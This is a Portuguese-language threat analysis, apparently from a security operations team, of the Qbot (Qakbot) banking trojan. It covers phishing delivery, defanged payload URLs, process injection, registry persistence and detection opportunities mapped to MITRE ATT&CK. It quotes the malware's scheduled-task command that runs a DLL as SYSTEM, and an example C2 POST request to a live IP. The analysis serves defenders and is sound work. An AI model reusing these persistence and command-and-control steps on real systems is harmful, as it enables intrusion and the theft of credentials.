Qbot (ou Qakbot) – Por dentro da ameaça

O Qbot, também conhecido como Qakbot, é um trojan bancário descoberto em meados de 2007 e ativo até os dias de hoje. Passando por várias adaptações em seu comportamento, no presente o malware é utilizado principalmente no acesso inicial para obtenção de credenciais e posteriormente utilizado em conjunto com outras ferramentas para comando e controle (Brute Ratel, Cobalt Strike) e distribuição de ransomwares.

Desde seu surgimento, as funcionalidades do Qbot se expandiram para incorporar recursos como como a infraestrutura de comando e controle (C2), bypass em ferramentas de segurança e etc.

Fluxo de Execução

Podemos demonstrar o fluxo de execução do Qbot em estágios, mas antes vamos falar sobre sua principal forma de acesso inicial: Phishing.

O Qbot é em grande maioria distribuído via e-mails de Phishing. Os atacantes utilizam arquivos compactados (.zip) contendo documentos do Microsoft Office (Excel, Word) atribuídos com macros. Ao abrir o documento os usuários são levados a clicar em “Habilitar Conteúdo” para que os macros sejam executados automaticamente.

 

 

 

 

Fonte: Fortinet Threat Research blog

Como profissionais de segurança devemos instruir nossos colaboradores a não acessarem links ou abrirem arquivos enviados por remetentes suspeitos e que mantenham os outros colaboradores informados para que não sejam vítimas de Phishing.

Estágios de execução

 

 

Como parte da nossa missão de adquirir conhecimento sobre as ameaças mais comuns no mercado, realizamos estudos aprofundados em relação ao Qbot, e podemos dividir os principais TTPs do malware em 3 estágios e analisá-los em detalhe:

  • Instalação
  • Inicialização
  • Comunicação
Instalação:

Foi mencionado anteriormente que o malware é distribuído via Phishing em um arquivo do Microsoft Office. O macro presente no documento cria uma pasta de nome “tmpdir” no diretório “C:\Users\Public\”, que então carrega e executa um arquivo .HTML (o qual recebe dados de um servidor remoto) contendo powershell. Temos conhecimento de algumas URLs de origem da DLL, são:

  • hxxp://pickap[.]io/wp-content/uploads/2020/04/evolving/888888[.]png
  • hxxp://decons[.]vn/wp-content/uploads/2020/04/evolving/888888[.]png
  • hxxp://econspiracy[.]se/evolving/888888[.]png
  • hxxp://enlightenededucation[.]com/wpcontent/uploads/2020/04/evolving/888888[.]png
  • hxxp://kslanrung[.]com/evolving/888888[.]png

A partir da execução da DLL baixada via “regsvr32.exe”, o QBot implementa vários esquemas de criptografia e técnicas de bypass, como o uso de uma tabela de importação dinâmica e métodos diversos de criptografia para ocultar seus dados e funcionalidades de Antivírus e EDRs.

Após carregar seu payload com sucesso, o Qbot enumera os processos sendo executados no host com o objetivo de identificar a presença de alguma ferramenta de segurança que possa detectá-lo ou impedir sua execução.

Um notável TTP do malware acontece ao fim de sua inicialização, onde ele reúne a informação dos processos ativos com o tipo de arquitetura do host para que ele altere em qual processo será injetado.

Exemplo:
  • Se o servidor infectado é 32bits (x86) e possui o antivírus Kaspersky, o malware se injeta no processo “explorer.exe”.

Process Injection, Technique T1055 – Enterprise | MITRE ATT&CK®

Outros casos conhecidos do comportamento:

 

 

 

 

Inicialização:

 

 

 

 

 

 

 

 

Uma vez que instalado no servidor, o malware cria uma “cópia” de si mesmo e de suas configurações em um arquivo de nome aleatório, que é criado dentro do diretório: “C:\Users\\AppData\Roaming\Microsoft\”.

Em uma execução controlada fornecida pelo Elastic Security Labs, o malware se injetou no processo “explorer.exe” e foi possível observar 17 eventos relacionados à arquivos. Um desses eventos foi a criação do arquivo “maonyo.dll”, no mesmo diretório.

Essa é uma técnica de Evasão de Defesas (Defense Evasion) que é utilizada para proteger o malware de possíveis exclusões e/ou detecções. Isso permite que a DLL continue sendo executada mesmo que o arquivo original tenha sido deletado.

Depois que o arquivo aleatório é criado e carregado com as informações do Qbot, ele cria valores em chaves de registros do Windows para que o malware seja iniciado com o próximo login ou com a inicialização da máquina:

HKEY_USERS\\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

HKEY_CURRENT_USER\SOFTWARE\Microsoft

Essa técnica é utilizada para alcançar persistência.

Boot or Logon Initialization Scripts, Technique T1037 – Enterprise | MITRE ATT&CK®

O Qbot finaliza o segundo estágio de sua atividade criando uma Scheduled Task para executar o seu serviço como usuário SYSTEM.

Scheduled Task/Job, Technique T1053 – Enterprise | MITRE ATT&CK®

Exemplo de Scheduled Task encontrada:

**C:\Windows\system32\schtasks.exe, /Create, /RU, NT AUTHORITY\SYSTEM,/tn, ayttpnzc, /tr, regsvr32.exe -s “c:\Users\Desktop\7611346142\c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a.dll”, /SC, ONCE, /Z, /ST, 15:21, /ET, 15:33**

A tarefa acima performa as seguintes ações:

/Create – cria a tarefa

/RU NT AUTHORITY\SYSTEM – define o usuário e escala privilégios para o usuário SYSTEM

/tn – define o nome da tarefa

/sc ONCE – especifica a frequência da tarefa – nesse caso “ONCE” (uma única vez)

/Z – define que a tarefa deve ser deletada após sua execução

/ST – define o momento de início da task – Definido para 2 minutos após a criação da tarefa

/ET – encerra a task se ela não foi completada.

 

Comunicação:

Então finalmente o malware inicia as comunicações com o servidor de comando e controle (C2) via HTTP e TLS. A mensagem é enviada por meio de uma requisição POST através de um objeto JSON, que por sua vez é codificado em base64.

Exemplo de requisição feita pelo Qbot ao servidor C2:

Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: 181.118.183.98

Content-Length: 77

Cache-Control: no-cache

qxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==

Ambas as direções de comunicação com o C&C são ofuscadas e criptografadas. O QBot também armazena em cache os dados no Registro do Windows em um formato criptografado, em uma chave que ele cria durante o processo de infecção.

O QBot também executa, em seu estágio final, atividades de reconhecimento. É possível observar o malware realizando um ARP Scan para identificar outros hosts ativos na rede e seus endereços de IP, possivelmente para identificar uma maneira de se mover lateralmente para outros hosts presentes na rede.

Detecções do SOC e como se proteger do QBot

Recentemente (Agosto/23) o governo dos Estados Unidos e o FBI realizaram uma força tarefa para executar um Takedown definitivo do malware. Apesar das atividades do malware terem reduzido em grande escala, o Qbot ainda é extremamente perigoso e desde 2007 é notável que o grupo por trás da ameaça continua evoluindo suas táticas e técnicas através dos anos.

Como sua distribuição é normalmente realizada via Phishing, a forma mais eficaz de se proteger contra a ameaça é utilizando ferramentas de proteção de e-mail e campanhas de conscientização do usuário final contra o Phishing.

O time de Detection Engineering do SOC iT.eam está desenvolvendo um caso de uso específico que trabalha em torno dos TTPs analisados. Atualmente possuímos regras que capturam os comportamentos do QBot individualmente, como: alterações em chaves de registros, criação de tarefas programadas, execução de DLLs suspeitas, injeção em processos do sistema e etc.

Oportunidades de Detecção:

  • Execução suspeita via Scheduled Task;
  • Alteração em Runkeys do sistema;
  • Valor/String suspeita atribuído em uma chave de registro do Windows;
  • Execução de DLL suspeita;
  • Comunicação com possível servidor de comando e controle.
Referências do MITRE ATT&CK:
Tática Técnicas
Persistence ·         Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Sub-technique T1547.001 – Enterprise | MITRE ATT&CK®

·         Valid Accounts: Default Accounts, Sub-technique T1078.001 – Enterprise | MITRE ATT&CK®

·         Scheduled Task/Job: Scheduled Task, Sub-technique T1053.005 – Enterprise | MITRE ATT&CK®

 

Initial Access ·         Phishing, Technique T1566 – Enterprise | MITRE ATT&CK®
Execution ·         Command and Scripting Interpreter: Windows Command Shell, Sub-technique T1059.003 – Enterprise | MITRE ATT&CK®
Defense Evasion ·         Deobfuscate/Decode Files or Information, Technique T1140 – Enterprise | MITRE ATT&CK®

·         Process Injection, Technique T1055 – Enterprise | MITRE ATT&CK®

·         Modify Registry, Technique T1112 – Enterprise | MITRE ATT&CK®

Command & Control ·         Application Layer Protocol: Web Protocols, Sub-technique T1071.001 – Enterprise | MITRE ATT&CK®

·         Ingress Tool Transfer, Technique T1105 – Enterprise | MITRE ATT&CK®

Discovery ·         Network Service Discovery, Technique T1046 – Enterprise | MITRE ATT&CK®